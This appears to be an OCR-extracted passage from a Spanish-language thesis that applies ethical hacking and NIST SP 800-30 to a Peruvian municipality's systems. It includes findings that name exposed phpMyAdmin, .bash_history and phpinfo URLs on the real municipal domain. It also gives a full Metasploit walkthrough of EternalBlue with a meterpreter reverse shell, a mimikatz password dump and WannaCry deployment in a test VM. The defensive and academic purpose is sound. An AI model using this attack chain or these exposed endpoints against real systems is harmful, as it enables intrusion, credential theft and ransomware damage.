Luego, vuelva a iniciar el servidor Firebird, y deberia poder conectarse con este

usuario y su contrasena.


https://www.firebirdsql.org/en/firebird-3-0/

La mayoria de estos pasos asumen que ya tiene una base de datos para

conectarse, si aun no tiene una, debera crearla primero.
Inicie isgl como usuario sysdba:

isgl -u sysdba

Y crea una base de datos

create database '<path-of-database

172.16.0.2

B ° IS

CRITICO ALTO MEDIO BAJO

Informacion del host:

Nombre del host: spm3

IP:172.16.0.2

Sistema Operativo: Microsoft Windows Server 2012 Datacenter.

VULNERABILIDAD:

Riesgo:
Critico.
Descripcion:

La version de Microsoft SQL Server en el host ha llegado al final de su vida util y ya
no deberia usarse porque no recibe actualizaciones de seguridad por parte del

proveedor.
Solucion:

Actualizar Microsoft SQL Server a una version que todavia recibe soporte.



172.16.0.5

B O s

CRITICA ALTA MEDIA BAJA

Informacién del host:

Nombre del host: srv
IP:172.16.0.5

Sistema Operativo: CentOS 6.

VULNERABILIDAD:

Riesgo:
Critico.
Descripcion:

Cualquier persona puede acceder a la configuracion de phpMyAdmin desde
Internet. Un hacker malintencionado podria cambiar las configuraciones de la
herramienta phpMyAdmin con el cual se maneja la base de datos en MySQL del
servidor web. Se acceder a traves de la url:
munimoyobamba.gob.pe/admin/setup/index.php. Asimismo, es posible acceder al
inicio de sesion en phpMyAdmin desde la siguiente direccion en internet:

munimoyobamba.gob.pe/phpmyadmin/?D=A:pma_password
Solucion:

Las paginas de instalacion para aplicaciones web no deberian ser accesibles
publicamente a través de un servidor web. Restrinja el acceso a €l o eliminelo por

completo.
Para mayor informacién visitar el siguiente link:

https://www.rephp.com/como-restringir-el-acceso-a-phpmyadmin.html


https://www.rephp.com/como-restringir-el-acceso-a-phpmyadmin.html

VULNERABILIDAD:

Linux Home Folder Accessible

Riesgo:
Medio.
Descripcion:

Se puede acceder a algunos comandos que utilizaron en el bash de CentOS
mediante Internet. La direccibn para acceder desde un navegador web es:
munimoyobamba.gob.pe/app/.bash_history. Basada en la informacién propuesta
de este archivo un hacker malicioso podria obtener informacion que podria servirle

para planificar algun ataque contra el servidor web.
Solucion:

Un usuario no deberia acceder a la carpeta desde Internet. Se debe restringir a

usuarios no autorizados.

VULNERABILIDAD:

Cleartext Transmission of Sensitive Information via HTTP

Riesgo:
Medio.

Descripcion:

La aplicacion transmite informacion sensible (usuarios, contrasefias) en texto claro
via HTTP. Un atacante podria aprovecharse de esta situacién para comprometer o
monitorear la comunicacion HTTP entre el cliente y el servidor usando la técnica de

man-in-the-middle para obtener acceso a datos confidenciales.
Solucion:

Encriptar la transmision de informacion via SSL/TLS. Adicionalmente, asegurarse
de que la aplicacién esta redireccionando a todos los usuarios mediante conexiones
SSL/TLS antes de permitir ingresar datos sensibles dentro de las funciones

mencionadas.



172.16.0.6

B O ° I

CRITICO ALTO MEDIO BAJO

Informacion del Servidor Web:

Nombre dns: intranet.munimoyobamba.gob.pe
IP:172.16.0.6

Sistema Operativo: CentOS 6.

VULNERABILIDAD:

Riesgo:
Critico.

Descripcion:

Se ha encontrado una vulnerabilidad de denegacién de servicio (DoS) en la forma
en que los rangos superpuestos son manejados por el servidor Apache HTTPD
antes de la version 2.2.20. El ataque se puede hacer de forma remota y con un
numero modesto de solicitudes puede causar un uso muy significativo de memoria
y CPU en el servidor, dejandolo incapaz de atender a usuarios legitimos de manera

oportuna.
Solucién:

Probar una de las siguientes soluciones para poder mitigar la vulnerabilidad. En el

caso de funcionar ninguna, consultar la referencia para mayor informacion:

1) Use SetEnvif o mod_rewrite para detectar una gran cantidad de rangos y luego

ignore el encabezado Range: o rechace la solicitud.

2) Use mod_headers para deshabilitar por completo el uso de encabezados Range:

RequestHeader unset Range



3) Implemente un mddulo de recuento de encabezados Range como medida

temporal provisional.

Para mayor informacion visitar el siguiente link:
https://httpd.apache.org/security/CVE-2011-3192.txt

VULNERABILIDAD:

Riesgo:
Critico.

Descripcion:

La funcién phpinfo(), revela informacién potencialmente confidencial, y cualquier
usuario en Internet puede verlo: http://intranet.munimoyobamba.gob.pe/info.php
Un black hat hacker podria recopilar parte de la informacion para realizar algin
ataque al Servidor Web, los datos que se puede recopilar de este archivo incluyen:
el nombre de usuario que ejecuta el proceso PHP, si es un usuario “sudo’, la

direccion IP del host, la versién del sistema y el directorio raiz del Servidor Web.
Solucion:

En el archivo de php.ini, cambiar la linea que incluye el disable_functions para que

diga disable_functions = phpinfo


https://httpd.apache.org/security/CVE-2011-3192.txt

172.16.0.151

B O ° .

CRITICA ALTA MEDIA BAJA

Informacién del host:

Nombre: web-master

IP:172.16.0.151

Sistema Operativo: Microsoft Windows 7.

VULNERABILIDAD:

Riesgo:
Critico.
Descripcion:

Existen multiples vulnerabilidades de ejecucion remota de cddigo en Microsoft
Server Message Block 1.0 (SMBv1) debido al manejo inadecuado de ciertas
solicitudes. Un atacante remoto no autenticado puede explotar estas
vulnerabilidades, a través de un paquete especialmente disefiado, para ejecutar

codigo arbitrario.

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, y
ETERNALSYNERGY son exploits (cédigos maliciosos) que se aprovechan de la
vulnerabilidad en SMB v1.

WannaCry y Petya son ransomware que encriptan toda la informacién de una

computadora y piden una cantidad de dinero para poderla liberar.
Solucion:

Ejecutar Windows Update para obtener el parche de seguridad correspondiente a
la vulnerabilidad de SMB v1.



Acunetix

Es una herramienta automatizada para la prueba de seguridad en aplicaciones
webs para identificar vulnerabilidades como SQL Injection, Cross site scripting entre

otros tipos de vulnerabilidades.

Para utilizar esta herramienta, se pone el sitio web a escanear.

Add Target

Address

http://www.munimoyobamba.gob.pe

Description

Analisis de Vulnerabilidades

Luego se guarda el proyecto y comienza con el analisis de vulnerabilidades.

£ Back Save
General Crawl HTTP Advanced
Target Info
http://www.munimoyobamba.gob.pe
Description Analisis de Vulnerabilidades
Business Criticality Mormal v
Scan Speed - - - .
Slower Slow Moderate Fast
Continuous Scanning (;,"




Para obtener mas informacion sobre las vulnerabilidades, se describen a

continuacion:

www.munimoyobamba.gob.pe

B ° [

CRITICO ALTO MEDIO BAJO

Informacién del sitio web:

URL: www.munimoyobamba.gob.pe
Direccién IP del dominio: 209.45.77.123
VULNERABILIDAD:

Riesgo:

Bajo.
Descripcion:

Clickjacking es una técnica maliciosa de engafar a un usuario de la Web para que
haga click en algo diferente de lo que el usuario percibe que esta haciendo click, lo
gue potencialmente revela informacién confidencial o toma el control de su
computadora

El servidor no devolvié un encabezado X-Frame-Options, lo que significa que este
sitio web podria estar en riesgo de un ataque de clickjacking. El encabezado de
respuesta HTTP X-Frame-Options se puede usar para indicar si se debe permitir o
no a un navegador representar una pagina dentro de un marco o iframe. Los sitios
webs pueden usar esto para evitar ataques de clickjacking, asegurando que su

contenido no esté incrustado en otros sitios.
Solucién:

Para habilitar X-Frame-Options en Apache, solo se tiene que agregar al archivo de

httpd.conf el siguiente comando:

header always set x-freame-options “SAMEORIGIN”



VULNERABILIDAD:

Riesgo:
Bajo.

Descripcion:

Cuando una cookie se configura con el indicador HttpOnly, le indica al navegador
web que solo el servidor puede acceder a las cookies y no los scripts por el lado
del cliente, en este caso esta desactivada, por lo tanto, se puede robar las cookies

del servidor.
Solucion:

Se puede cambiar la configuracién en php.ini o0 mediante ini_set() llamadas para

cambiar session.cookie_securey session.cookie_httponlyvalores a true.
Referencias para mayor informacion:

https://stackoverflow.com/questions/13075003/session-cookie-without-httponly-

flag-set
https://www.php.net/manual/en/function.session-set-cookie-params.php

VULNERABILIDAD:

Riesgo:
Bajo.

Descripcion:
La péagina de inicio de sesidn no tiene ninguna proteccién contra ataques de
adivinacién de contrasefia (ataques de fuerza bruta).

Solucién:

Se recomienda implementar algun tipo de bloqueo de cuenta después de un

ndmero definido de intentos de contrasefia incorrecta.


https://stackoverflow.com/questions/13075003/session-cookie-without-httponly-flag-set
https://stackoverflow.com/questions/13075003/session-cookie-without-httponly-flag-set
https://www.php.net/manual/en/function.session-set-cookie-params.php

FASE 5: Hacking de Sistemas

Conceptos que se deben tener en cuenta para entender mejor esta fase de hacking:

Exploit: es una secuencia de comandos o software con el objetivo de aprovecharse
de una vulnerabilidad en un software. La vulnerabilidad o bug es el resultado de un

fallo de programacién durante su creaciéon (Gonzales, Sanchez y Soriano, 2015).

Meterpreter: es un pequefo intérprete de comandos que ofrece una forma de
interactuar con los sistemas. Esto significa que no necesariamente se tiene que
conocer los comandos de Windows o Linux. Todo lo que se necesita es saber como
interactuar con Meterpreter para obtener lo que se necesita en el sistema

comprometido (Messier, 2016).

Metasploit: es una herramienta de codigo abierto disefiada para facilitar las
pruebas de Ethical Hacking. Fue escrito en el lenguaje de programacion Ruby,
utiliza un enfoque modular para facilitar el desarrollo y la codificacion de exploits
(Beggs, 2014).

En esta fase se utilizé la distribucion Kali Linux 2019, que trae muchas herramientas
instaladas que nos sirven para realizar las pruebas de Ethical Hacking en entornos

controlados.

EternalBlue y DoublePulsar son herramientas de software supuestamente
desarrolladas por la Agencia de Seguridad Nacional de los Estados Unidos (NSA).
Los cuales fueron filtradas por un grupo de hackers conocidos como “Shadow
Brokers” en el ano 2017, y que fueron utilizados en el ataque mundial de
Ransomware con WannaCry en ese mismo afo, el cual infecté miles de sistemas

informaticos en todo el mundo, causando grandes pérdidas econémicas.

Se realiz6 el hacking sobre una maquina Windows 7 utilizando los exploits
EternalBlue y DoublePulsar, para que posteriormente, se infecte el sistema con el
Ransomware Wannacry, el cual encriptaba todos los archivos del sistema, pidiendo
un rescate en Bitcoin para poder recuperarlos. Se debe mencionar que esta fase
se realiz6 en una maquina virtual de prueba, configurada con las mismas
caracteristicas que tenia una computadora de la Municipalidad y que era vulnerable

al Ransomware Wannacry. La prueba se realiz6 fuera de la red informatica de la



Municipalidad Provincial de Moyobamba, con el Unico objetivo de demostrar como
seria un ataque cibernético y las consecuencias que traeria la explotacién de la

vulnerabilidad sobre un sistema operativo Windows 7 y sus archivos.

Los exploits EternalBlue y DoublePulsar se aprovechaban de una vulnerabilidad
presente en el protocolo SMB vl el cual se ejecuta en el puerto TCP 139 Y 445. A

continuacion, se presenta los pasos a seguir para llevar a cabo la prueba:

1. Se escanea los puertos con la herramienta nmap 139 y 445 de la maquina
Windows 7 para verificar si estan abiertos, ya que, por medio de esos puertos se

ejecuta el ataque. La direccién IP del host victima es 10.0.2.9

Comando: nmap -p139, 445 10.0.2.9

:~# nmap -pl139,445 10.0.2.9
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 00:09 EST
Nmap scan report for 10.0.2.9
up (0.00042s latency).

STATE SERVICE
open @netbios-ssn
open microsoft-ds

2. Abrimos Metasploit Framework para buscar el escaner que detecta la

vulnerabilidad SMB en el host.
Comando: search auxiliary/scanner/smb

[i] Database already started
[i] The database appears to be already configured, skipping initialization

ITIIII
IT
IT
IT
IT

ITITIT

I love shells --egypt

[ metasploit v5.0.20-dev

[ 1887 exp101ts - 1065 auxiliary - 328 post
[ 546 payloads - 44 encoders - 10 nops

[ 2 evasion




msf5 > search auxiliary/scanner/smb

Matching Modules

auxiliary/scanner/smb/impacket/dcomexec
auxiliary/scanner/smb/impacket/secretsdump
auxiliary/scanner/smb/impacket/wmiexec
auxiliary/scanner/smb/pipe auditor
auxiliary/scanner/smb/pipe dcerpc auditor

auxiliary/scanner/smb/psexec loggedin users
auxiliary/scanner/smb/smbl
auxiliary/scanner/smb/smb2
auxiliary/scanner/smb/smb enum gpp
auxiliary/scanner/smb/smb enumshares
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/smb/smb enumusers domain
auxiliary/scanner/smb/smb login
auxiliary/scanner/smb/smb lookupsid
auxiliary/scanner/smb/smb msl7 010
auxiliary/scanner/smb/smb uninit cred
auxiliary/scanner/smb/smb version

3. Seleccionamos el escaner y se lo envia a la direccion IP del host para verificar si

tiene la vulnerabilidad.
Comando 1: use auxiliary/scanner/smb/smb_ms17_010

Comando 2: set RHOST 10.0.2.9

msf5 > use auxiliary/scanner/smb/smb ms17 010
msf5 auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb ms1l7 010):

Name Current Setting
CHECK ARCH

CHECK DOPU  true

CHECK PIPE false

NAMED PIPES /usr/share/metasploit-framework/data/wordlists/named pipes.txt
RHOSTS

RPORT 445

SMBDomain

SMBPass

SMBUser

THREADS

msf5 auxiliary( ) >/ set RHOST 10.0.2.9
RHOST => 10.0.2.9




4. Después de realizar el escaneo, se observa que el host es vulnerable al exploit.

msf5 auxiliary( ) > run

[+] 10.0.2.9:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional
[*] 10.0.2.9:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5. Ahora, se busca y utiliza los exploits Eternalblue y DoublePulsar
Comando 1: search eternalblue
Comando 2: use exploit/windows/smb/eternalblue_doublepulsar

msf5 > search eternalblue

1 auxiliary/admin/smb/ms1l7 010 command
e Windows Command Execution
2 auxiliary/scanner/smb/smb msl7 010
3 exploit/windows/smb/eternalblue doublepulsar
4 exploit/windows/smb/msl7 010 eternalblue
5 exploit/windows/smb/msl7 010 eternalblue win8
or Win8+
6 exploit/windows/smb/msl7 010 psexec
e Windows Code Execution

> use exploit/windows/smb/eternalblue doublepulsar
exploit( ) > show options

Module options (exploit/windows/smb/eternalblue doublepulsar):

Name Current Setting

DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
PROCESSINJECT wlms.exe

RHOSTS

RPORT 445

TARGETARCHITECTURE x86

WINEPATH /root/.wine/drive c/

Exploit target:

Id Name

8 Windows 7 (all services pack) (x86) (x64)




6. Mandar el DOUBLEPULSARPATH y ETERNALBLUEPATH hacia la direccion

/root/Eternalblue-Doublepulsar-Metasploit/deps/

Comandol: set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-
Metasploit/deps/

Comando 2: set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-
Metasploit/deps/

msf5 exploif( ) s set DOURLFPUISARPATH /rant/Fternalhlue-Noublepulsar-Metasploit/deps/
OUBLEPULSARPATH =» /root/Eternalblue-Doublepulsar-Metasploit/deps/

msf5 exploit( ) » set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH == /root/Eternalblue-Doublepulsar-Metasploit/deps/

7. Se envia el exploit ala direccion IP de la maquina victima (comando 1), asimismo,
se pone la direccion IP del host atacante para ejecutar todos los comandos

remotamente (comando 2).
Comando 1: set RHOST 10.0.2.9
Comando 2: set LHOST 10.0.2.8

msf5 exploit( ) > set RHOST 10.0.:
RHOST => 10.0.3

msf5 exploit( ) = |set LHOST 108.08.2
LHOST == 18.8.2

8. Lo que falta por hacer es enviar el payload al sistema Windows 7.
Comando 1: set payload windows/x64/meterpreter/reverse_tcp
Comando 2: set PROCESSINJECT Isass.exe

) >| set payload windows/x64/meterpreter/reverse tcp

> windows/x64/meterpreter/reverse tcp

msf5 exploit( ) > set PROCESSINIECT lsass.exe
PROCESSINJECT => 1sass.exe




9. El dltimo paso es ejecutar el exploit para crear la sesion en Meterpreter. Después
de realizarlo, se observa que el exploit se ejecutd correctamente y que se puede

ejecutar cédigo remotamente al sistema hackeado para la direccion IP 10.0.2.9
Comando: exploit

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.8:4444

10.0.2.9:445 - Generating Eternalblue XML data

10.0.2.9:445 - Generating Doublepulsar XML data

10.0.2.9:445 - Generating payload DLL for Doublepulsar
10.0.2.9:445 - Writing DLL in /root/.wine/drive c/eternalll.dll

10.0.2.9:445 - Launching Eternalblue...
10.0.2.9:445 - Pwned! Eternalblue success!
10.0. :445 - Launching Doublepulsar.
Sendlng stage (206403 bytes) to 10.0. 2 9

Meterpreter session 1 opened (10.0.2.8:4444 -> 10.0.2.9:49189) at 2019-11-13 02:02:59
1.10.0.2.9:445 - Remote code executed... 3... 2... 1...

meterpreter >



FASE 6: Escalado de Privilegios

10. Una vez que se creo la sesién en Meterpreter se tiene que elevar los privilegios
de usuario dentro del sistema hackeado para poder realizar muchas acciones y no

estar limitado a solo algunos procesos.

Comando: getsystem

neterpreter >(getsysten

...Qot system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

11. En la sesion de Meterpreter habilitamos la opcion “kiwi” que cargara extensiones
“Minikatz”, la cual extrae contrasenas de texto sin formato del sistema Windows en

lugar de solo hashes de contrasefias.

Comando: load kiwi

meterpreter > load kiwi
Loading extension kiwi...

JEEEEE. mimikatz 2.1.1 20180925 (x64/windows)
H# " ##. A La Vie, A L'Amour"

#\ | ## > http://blog.gentilkiwi.com/mimikatz
‘#HE OV O#E Vincent LE TOUX ( vincent.letoux@gmail.com )
Eiiisd > http://pingcastle.com / http://mysmartlogon.com ***/

success.

12. Extraemos todas las contrasefias en texto plano de cada usuario del sistema
Windows 7.

Comando: creds all



meterpreter > creds all

[+] Running as SYSTEM

[#] Retrieving all credentials
credentials

Admin Sistema Christian-PC acB84745e
Christian Christian-PC 44efcelid

wdigest credentials

(null})
Admin Sistema Christian-PC adminlz3
CHRISTIAN-PC% WORKGROUP (null)
Christian Christian-PC 123456

tspkg credentials

Admin Sistema Christian-PC adminlz3
Christian Christian-PC 123456

13. Se procede a realizar la interaccién con el CMD de Windows
Comando: shell

meterpreter > shell
Process 3528 created.

Channel 1 created.
Microsoft Windows [Versi®n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>[i



14. Ejecutamos el siguiente comando para enviar al usuario un mensaje de aviso

informéandolo que ha sido hackeado

Comando: msg * “Tu has sido hackeado”

Copyright (c)

Versi®n 6.1.7601)
09 Microsoft Corporation. Reservados todos los derechos.

32»>msg * "Tu has sido hackeado

sido hackeado por Christian”

Mensaje desde 15/11/2019 0:34 x|

Tu has sido hackeado

0:35
15/11/2019



15: Finalmente, el Ultimo paso es enviar el ransomware WannaCry al sistema
hackeado y ejecutarlo. Esto encriptara todos los archivos que estan en la

computadora y pedira un rescate en bitcoin para poder recuperarlos.
Comando 1: upload /root/Desktop/WannaCry.exe

Comando 2: execute -f WannaCry.exe

meterpreter > upload /root/Desktop/WannaCry.EXE
[#] uploading : /root/Desktop/WannaCry.EXE -> WannaCry.EXE
[*] Uploaded 3.35 MiB of 3.35 MiB (100.0%): /root/Desktop/WannaCry.EXE

ry.EXE
[*#] uploaded : Jroot/Desktop/WannaCry.EXE -= WannaCry.EXE
er = execute -f WannaCry.exe

16. En la imagen se observa un mensaje diciendo que todos nuestros archivos

fueron encriptados y para liberarlos se necesita realizar un pago en Bitcoin.

Qoops, your files have been encrypted!

:Qué paséd con mi computadora?
Sus archivos importantes estin encriptados
de sus documentos, fotos, videos, bases de datos y otros archivoes ya no son

Payment will be raised on . . 9
Puedo recuperar mis archivos?

Por supuesto. Le garantizamos que puede recuperar todos sus archivos de forma segura
v sencilla, Pero no tienes tiempo suficients
Puede descifrar algunos de sus archives de forma gratuita. Pruebe abora haciendo clic

f quieres descifrar todos tus archivos, necesitas pagar.
S6lo tiene 3 dias para enviar ol pago. Despuds de es0 el precio se duplicard
sl no paga en 7 dias, no podri recuperar sus archivos para slempre

ventos gratuitos los usu s que on obres que r ian pagar
Your files will be lost on eventos gratuitos para Jos usuarios que son tan pobres que no podian paga

(Como pago?

El pago se acepta en Bitcoin solamente. Para obtener mds informacion, baga clic en

<About bitcoln>,

ruebe el precio actual de Bitcoin y compre algunos bitcoins, Para
cidn. haga clic en <How to buv bitcolns>

Send $600 worth of bitcoin to this address
bitcoin :
Tt [ 2:5YDPgwueZoNyMgws19p7 AABIs)r6 SMw

ContactUs Check Payment




El Ethical Hacking fue complementado con la metodologia NIST SP 800-30 y
adaptada a los indicadores de la variable dependiente. El objetivo de la NIST SP
800-30 es proporcionar orientacion para realizar evaluaciones de riesgos en los
sistemas informaticos de las organizaciones, proporcionando la informacién
necesaria para determinar los cursos de accion apropiados en respuesta a los

riesgos identificados.

Metodologia NIST SP 800-30

Paso 1:
Caracterizacion del
Sistema.

Paso 6: Analisis de

Impacto.

Paso 7:
Determinacion del

Paso 2:
Identificacion de
Amenazas.

Paso 5:
Determinacion de
Probabilidades.

Paso 8:
Recomendacion

Paso 3:
Identificacion de
Vulnerabilidades.

Paso 4: Analisis de
Controles.

Paso 9:
Documentacion de
Resultados.

Riesgo. de Controles.

El Riesgo consiste en la probabilidad de que ocurra un incidente de seguridad, por
otro lado, la Amenaza es la accion que podria causar un potencial efecto negativo
sobre un sistema informatico, hay que tener en cuenta que una amenaza por sSi
misma no provoca un dafio, si bien puede afectar a la disponibilidad, integridad y
confidencialidad. Finalmente, una Vulnerabilidad son todas las debilidades o fallos
gue pueden causar dafio y que pueden ser de diferente naturaleza, como, por

ejemplo, de disefio, configuracién, estandares de uso o procedimientos.

Un Riesgo informatico es la probabilidad de que ocurra una Amenaza, utilizando

una Vulnerabilidad, generando un Impacto en la organizacion.



Riesgo

Amenaza
|

Vulnerabilidad

Impacto

Se debe mencionar como punto muy importante, que la metodologia NIST SP 800-
30 se relaciond con los cuatro indicadores de la variable dependiente: Gestion de
Riesgos, ademas, solo se aplicd en los sistemas informaticos que incluyen
hardware y software dentro de la organizacion. Para lograrlo se identificaron y
clasificaron los sistemas informaticos que son de importancia para la Entidad, los
cuales ayudan a realizar los procesos internos. En la Tabla 8 se muestra mas

detalle.



Tabla 8: Sistemas Informaticos de la Municipalidad Provincial de Moyobamb

Tipologia| Clasificacion
Nombre del Sistema L i
" Descripcion o et ,
Informatico © @ Importancia
2 =
s | B
o @
® | T | Bajo |Medio |Alto
PC - Laptops Son las computadoras de
escritorio y laptops X X
personales.
Equipos de Redes y Dispositivos que se
Comunicaciones encargan de conectar la X X
red LAN.
Data Center Son todos los servidores
. X X
fisicos.
Servidor de Base de Almacena la informacion de
Datos los usuarios y los procesos
internos y se encuentran los
. X X
sistemas gestores de bases
de datos (Microsoft Sq|l
Server, MySQL).
Servidor Proxy Se encarga de ser
intermediario entre el X X
usuario y un servidor.
Servidor DNS Transforma las direcciones
: . X X
IP en direcciones webs.
Portal Web Portal web donde se publica
informacion relacionadaala |X X
organizacion.
Sistemas Operativos:
Microsoft Windows 7, Sistemas operativos X X
10 y CentOS.




Identificacion de Amenazas y Vulnerabilidades.

Una amenaza es cualquier circunstancia o evento con el potencial de impactar
adversamente las operaciones y sistemas de la organizacién mediante un acceso
no autorizado, destruccion o modificacion de la informacion, etcétera. Una fuente
de amenaza se caracteriza por la intencion y el método dirigido a la explotacion de
una vulnerabilidad. Por otro lado, las vulnerabilidades son las debilidades de
seguridad que esta presente en un sistema informatico, esto puede ser por causa
de una mala configuracion, errores humanos, falta de actualizacién del software o
sistema operativo, etcétera. Todas estas vulnerabilidades con una buena gestion

de riesgos pueden ser subsanadas para evitar dafios en la Organizacion.

La siguiente tabla muestra el indicador N° 01: Numero de Riesgos identificados.
Para poder determinar la cantidad de riesgos, primero se tuvo que identificar las
amenazas y vulnerabilidades. Cabe mencionar que una amenaza puede tener

varias vulnerabilidades.



Tabla 9: NUmero de Riesgos Identificados

Indicador 1: NUumero de riesgos identificados (amenazas y vulnerabilidades)

Movimientos No se cuenta con un plan de | Al momento de producirse un terremoto, toda la
RO1 Teluricos continuidad de negocio. infraestructura tecnoldgica puede destruirse y la
informacién almacenada.
Muchas de las menorias externas, como, por
Uso de medios | Infeccion de malware por medio de | ejemplo, USB estan infectadas por malware.
R0O2 de USB o discos duros externos. Ademas, los usuarios al momento de conectarlo a la
almacenamiento PC no analizan la informaciéon contenida en la
externos memoria con el Antivirus para desinfectarla en caso
de que contenga algin malware, por consiguiente,
infectan la computadora y con los archivos.
Los metadatos contienen cierta informacion valiosa,
Divulgacion de | Fuga de metadatos en documentos como ejemplo, nombre de usuario que creo el
RO3 Informacion electronicos que se suben al portal archivo, usuarios que lo manipularon, software con el
confidencial web institucional. que ha sido creado, etcétera. Estos metadatos

pueden ser de gran utilidad a un hacker con
intenciones maliciosas, para realizar ataques, como,

por ejemplo, Ingenieria Social.




Divulgacion de

No existen controles para la

La informacion que se transmite dentro de la intranet

Informacién encriptacion de informacion sensible, | viaja en texto sin cifrar, lo cual podria ser leida con
confidencial cuando esta se encuentra cualquier herramienta de Sniffer.
transmitiendo por la red.
No existe un Sistema de Gestion Un Sistema de Gestion para la Seguridad de la
Ausencia en para la Seguridad de Informacion, Informacién ayuda a tener politicas y procedimientos
Politicas de por lo que no se realiza un proceso para proteger la informacién y todos los procesos de
RO4 Seguridad de evaluacion sobre el nivel de la organizacion.
implementacion y cumplimiento de
normas de seguridad.
Ausencia en No se realizan evaluaciones de El Ethical Hacking ayuda a detectar, analizar y
politicas de seguridad en los sistemas mitigar las vulnerabilidades de seguridad presentes
seguridad informaticos mediante la técnica de en los sistemas informaticos, que a simple vista no
Ethical Hacking pueden ser detectados. Para ello implica el uso de
herramientas sofisticadas que ayudan a realizar el
trabajo.
Los equipos UPS no estan Al momento de producirse un corte de energia
RO5 implementados en su gran mayoria. | eléctrica sin previo aviso y cuando esta vuelve
Falta de repentinamente, el voltaje podria quemar algunas

monitoreo en

partes del equipo.




los equipos

informéaticos

Funcionamiento lento.

Debido a la cantidad de informacién y programas sin
utilizar la memoria interna puedo verse afectada,
trayendo consigo, lentitud en el sistema operativo y

procesos.

Dafio permanente en piezas béasicas
de la computadora.

El polvo podria ocasionar que algunas piezas, como
la memoria RAM o el cooler, se vean afectados.

RO6

Software sin

actualizacion

Network Time Protocol (NTP) Mode
6 Scanner

El servidor NTP remoto responde a consultas del
modo 6. El cual podria ser utilizado para un ataque

de Denegacion de Servicio

Version de PHP desactualizado

La version de PHP esta desactualizado.

Exploit Eternalblue y Ransomware

WannaCry

La version de SMBV1 es vulnerable al exploit
Eternalblue y Ransomware WannaCry. Toda la

informacion del sistema puede ser encriptada.

El Nombre de la comunidad SNMP

esta por defecto

Es posible obtener el nombre de comunidad
predeterminado del servidor SNMP remoto, ya que

es publico.

Microsoft SQL Server desactualizado

La versiéon de Microsoft SQL Server en el host esta

desactualizado y ya no deberia utilizarse.




Servidor Web Apache vulnerable a

un ataque se Denegacion de Servicio

El atague se puede realizar de forma remota
enviando una cantidad significativa de solicitudes al
mismo tiempo causando uso excesivo de memoria y

CPU en el servidor, dejandolo fuera de servicio

Falta de dispositivo biométrico en la

Cualquier persona sin autorizacion podria ingresar al

RO7 Accesos no entrada del Data Center. Data Center.
autorizados Falta la instalacién de cAmaras de En el caso de que se produzca algun incidente de
videovigilancia en la Oficina de seguridad no se podria saber quién fue, por la falta
Tecnologias de Informacion. de camaras de videovigilancia.
Ingenieria Social. La Ingenieria Social consiste en manipular a los
RO8 Falta de usuarios psicologicamente con el fin de obtener
capacitacion en informacion confidencial sin que ellos se den cuenta.
ciberseguridad | Phishing Es una técnica de Ingenieria Social que se propaga
generalmente por el envio de correos electronicos
infectados por malware.
El firewall se encuentra desactivado. | Al estar desactivado el firewall del servidor, esta
expuesta a multiples amenazas en Internet, ya que
R0O9 Mala no tiene proteccion, y la confidencialidad, integridad

configuracion

del sistema

y disponibilidad de la informacion que

comprometida.




R09

DNS Server Cache Snooping

El servidor DNS remoto responde a las consultas de
dominios de terceros que no tienen establecido el bit

de recursividad.

Certificado SSL no puede ser

verdadero

El sitio web esta utilizando un certificado

autofirmado, que no proporciona seguridad.

Métodos activados: HTTP TRACE /
TRACK

Mediante estos métodos se puede realizar un
ataque de Cross Site Scripting, una vulnerabilidad
gue puede robar las cookies y otro tipo de

informacion del servidor web.

Algoritmo débil de cifrado en SSH

El host se ve afectado por una vulnerabilidad de
divulgacién de informacion de tipo Man-in-the-
Middle, debido a un error en la implementacién del
algoritmo de cifrado RC4, ya que este sistema de

cifrado es muy inseguro.

SNMP ‘GETBULK’ Reflection DDoS

El servicio SNMP remoto esta respondiendo con una
gran cantidad de datos a una peticion ‘GETBULK’
con un valor mayor que el normal. Un atacante
remoto puede utilizar este servidor SNMP para

realizar un ataque de denegacion de servicio.




Mala
configuracion

del sistema

SMB no requiere registro

La firma es necesaria en el servidor SMB para evitar

ataque de Man in the Middle.

Acceso a los protocolos SAM y
LSAD sin credenciales

Existe una vulnerabilidad de elevacion de privilegios
y se puede obtener acceso a la base de datos SAM,

en la cual se almacena las contrasefias de usuarios.

Credenciales por defecto FIREBIRD

Es posible conectar al servicio remoto de la base de
datos usando credenciales por defecto.

Capeta principal de Linux Accesible

Se puede acceder a la configuracion de
phpMyAdmin desde Internet sin necesidad de estar
autentificado.

Informacion sensible se transmite en

texto claro via HTTP

La aplicacion web transmite informacion sensible

(usuarios y contrasefias) en texto claro.

Informacidén accesible de phpinfo()

La funcion de phpinfo() revela informacion

potencialmente confidencial.

Clickjacking

Clickjacking es una técnica maliciosa de engafar a
un usuario de la Web para que haga click en algo
diferente de lo que el usuario percibe que esta

haciendo click.




Cookie sin HttpOnly

Se puede robar las cookies del servidor

Ataque de inicio de sesién con

contrasefa

La pagina de inicio de sesién no tiene proteccion
contra ataques de fuerza bruta

R10

Falta de
encriptacion en

los datos

Man in the Middle.

Esta vulnerabilidad intercepta paquetes de datos
para poder leerlos o modificarlos.




Probabilidad de la Amenaza e Impacto de la Vulnerabilidad

Para calcular el nivel de riesgo que pertenece al Indicador N° 02: NUumero de

Riesgos Analizados, se realiz0 la siguiente formula:
Riesgo = Amenaza x Vulnerabilidad

Multiplicando los valores cuantitativos, se obtuvieron valores desde 0 — 100, luego
se procedid a establecer el respectivo valor cuantitativo, seguin el rango, como se

muestra en la siguiente tabla:

Escala de Evaluacion — Nivel de Riesgo

Valores Valores Descripcion

Cualitativos Cuantitativos

Riesgo Muy Alto significa que una

96- 10 | amenaza tenga multiples efectos adversos
100 catastréficos sobre las operaciones o
